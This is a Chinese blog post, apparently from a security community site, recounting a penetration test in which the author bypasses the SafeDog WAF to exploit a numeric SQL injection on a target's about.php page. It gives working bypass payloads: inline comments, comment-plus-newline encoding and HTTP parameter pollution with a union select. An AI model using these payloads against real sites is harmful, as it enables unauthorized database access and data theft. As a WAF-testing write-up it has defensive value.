记一次实战过狗注入

在实际的渗透过程中,遇到目标存在waf的情况还是比较多的,本文记录了在一次实战中bypass安全狗进行注入的一些方法。

0x00 发现漏洞

拿到目标后,在主页到处看看功能点,同时看看url特征,发现一个后缀/about.php?id=1,简直就是标准的SQL注入,加个单引号报错。

看特征明显是数字型注入,使用"and 1=1"和"and 1=2"测试一下,存在安全狗,直接被拦。

接下来就是想办法绕过,掏出之前4.0版本记录的绕过方法,看官网已经升级到5.0了,但是之前的某些方法应该还是有用的。

0x01 bypass安全狗

绕过and 1=1的拦截

首先fuzz一下and 1=1的拦截情况

and       //不拦截
and 1     //拦截
and 1=1   //拦截
and -1=-1 //拦截
%26 1=1   //拦截

后面两种方法,是我在4.0版本的时候用来绕过的,看来是不行了。可以看到and之后不带参数的时候,是没有拦截的,说明检测的不是and,而是and后面的数字。最后我是使用内联注释把后面的数字-1包裹,成功绕过。(但是内联注释包裹1也是不行的)
?id=1 and /*!-1*/=-1
正常返回

?id=1 and /*!-1*/=-2
返回错误

绕过order by的拦截

同样,fuzz一下order by在什么情况下会被拦截

order     //不拦截
by        //不拦截
order by  //不拦截
order by 10 //拦截

发现在order by后面带数字的时候才会被拦截,也就是说并不是单纯的检测order by这个,这里绕过的办法有几种,首先想到的就是跟上面一样使用内联注释。

1、内联注释绕过
?id=1 /*!order*/ by 10
?id=1 order /*!by*/ 10
?id=1 order by /*!10*/

测试发现,上面三种方式都不会被拦截,所以猜测检测方式应该是要同时检测到这三个整体出现,才会被拦截。
之后修改后面数字,爆出字段为3

order by /*!3*/  //返回正常
order by /*!4*/  //返回错误

正常页面

报错页面:

2、注释换行绕过
order%23%0aby 3  //%23为注释符#,%0a为换行符
order%23%0aby 4

绕过union select拦截

fuzz结果如下

union        //不拦截
select       //不拦截
union select //拦截

这里同样是union select同时出现才会拦截,这里我是测试了注释换行和内联注释,都没办法绕过。最后,是使用了HTTP参数污染加注释进行的绕过。
payload:

?id=1 /*&id=-1 union select 1,2,3%23*/


可以看到这里是成功绕过,并且2和3位置有回显,接下来只需要将对应位置改为要注入的数据即可。

user()和database()

后面的过程只需要修改第2个id的值,就和正常的注入是一样的情况,就不多说了。

0x02 总结

在最后测试完成后,发现前面的几种方法不是任何情况都能用的,而最后使用的HTTP参数污染加注释绕过的方法,其实完全可以在上面测试中的所有情况下使用。所以其实就这一个方法就可以满足这次的渗透绕过,不过我还是把整个测试的过程记录下来,作为一个参考。

  • 发表于 2021-08-31 18:10:54
  • 阅读 ( 5694 )
  • 分类:漏洞分析

2 条评论

guchangan1
可以 感谢师傅的参数污染
请先 登录 后评论
Cl0wnkey
尴尬 发现自己把版本看成服务器安全狗的了 并没有更新到5.0
请先 登录 后评论
请先 登录 后评论
Cl0wnkey
Cl0wnkey

6 篇文章

站长统计